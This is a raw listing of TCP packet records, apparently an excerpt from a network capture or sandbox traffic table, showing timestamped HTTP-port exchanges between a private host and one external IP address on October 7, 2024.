Oct 7, 2024 18:43:38.712472916 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712477922 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712488890 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712506056 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712507010 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712516069 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712515116 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712527037 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712533951 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712538004 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712548971 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712558031 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712560892 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712572098 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712583065 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712589025 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712600946 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712616920 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712626934 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712629080 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712636948 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712647915 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712649107 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712658882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712667942 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712676048 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712682009 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712685108 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712696075 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712707043 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712707043 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712718010 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712728977 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712735891 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712738991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.712752104 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.712769032 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795217037 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795234919 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795245886 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795257092 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795277119 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795280933 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795288086 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795299053 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795310020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795315027 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795321941 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795331955 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795347929 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795357943 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795362949 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795367956 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795380116 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795394897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795404911 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795408010 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795418978 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795429945 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795432091 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795449018 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795449972 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795461893 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795471907 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795474052 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795481920 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795491934 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795499086 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795502901 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795512915 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795516968 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795523882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795533895 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795535088 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795545101 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795552015 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795555115 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795564890 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795576096 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795577049 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795586109 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795603037 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795603037 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795614958 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795625925 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795627117 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795638084 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795649052 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795654058 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795660019 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795670986 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795671940 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795681953 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795685053 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795717955 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795717955 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795731068 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795741081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795752048 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795753002 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795763016 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795773983 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795778990 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795784950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795802116 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795805931 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795814991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795823097 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795825958 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795849085 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795859098 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795870066 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795878887 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.795895100 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795906067 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795917034 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.795928001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796006918 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796251059 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796263933 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796273947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796283960 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796294928 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796298981 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796305895 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796313047 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796315908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796325922 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796327114 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796338081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796348095 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796358109 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796359062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796367884 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796381950 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796385050 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796396971 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796406984 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796406984 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796416044 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796416998 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796427965 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796438932 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796439886 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796451092 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796462059 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796472073 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796473026 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796480894 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796490908 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796492100 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796509981 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796521902 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796526909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796538115 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796547890 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796549082 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796560049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796561003 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796570063 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796574116 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796581030 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796591043 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796597004 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796602011 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796612978 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796622038 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796622992 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796638012 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796638012 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796648979 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796658993 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796669960 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796674013 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796674013 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796681881 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796693087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796709061 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796724081 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796742916 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796755075 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796765089 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796776056 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796785116 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796786070 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796798944 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796798944 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796825886 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796849012 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796864986 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796952963 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.796981096 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.796992064 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.797003031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.797013998 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.797019005 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.797024012 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.797030926 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.797035933 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.797045946 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.797060966 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.797082901 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.797218084 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.797230005 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.797240019 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.797250986 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.797255993 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.797261000 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.797267914 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.797271967 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.797282934 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.797296047 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.797313929 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.879520893 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879538059 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879549026 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879559040 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879570961 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879580975 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879591942 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879611015 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879621029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879631996 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879635096 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.879642963 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879653931 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879663944 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879676104 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879687071 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879690886 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.879710913 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.879728079 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879731894 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.879757881 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.879798889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879811049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879821062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879870892 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879882097 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879889965 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.879893064 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879903078 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879914045 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879915953 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.879935026 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.879959106 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.879973888 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879982948 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.879992962 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880004883 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880017042 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880032063 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.880057096 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.880060911 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880073071 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880131006 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.880160093 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880171061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880181074 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880192041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880203009 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880213976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880223989 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.880224943 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880239964 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.880240917 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880266905 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.880284071 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880294085 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880295038 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.880304098 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880312920 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880322933 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880326033 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.880333900 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880345106 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880356073 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880356073 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.880366087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880399942 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.880546093 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880557060 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880567074 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880585909 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.880587101 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880598068 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880603075 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.880610943 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880623102 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880631924 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.880634069 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.880657911 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.880672932 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881041050 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881052971 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881063938 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881074905 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881086111 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881097078 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881107092 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881124020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881134987 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881145000 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881153107 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881156921 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881166935 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881179094 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881180048 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881190062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881201982 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881203890 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881221056 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881237030 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881370068 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881381989 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881393909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881445885 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881509066 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881520987 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881532907 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881542921 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881553888 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881561995 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881565094 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881576061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881577015 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881587029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881597042 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881606102 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881633043 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.881642103 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881660938 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.881668091 CEST	80	51632	95.164.90.97	192.168.2.4
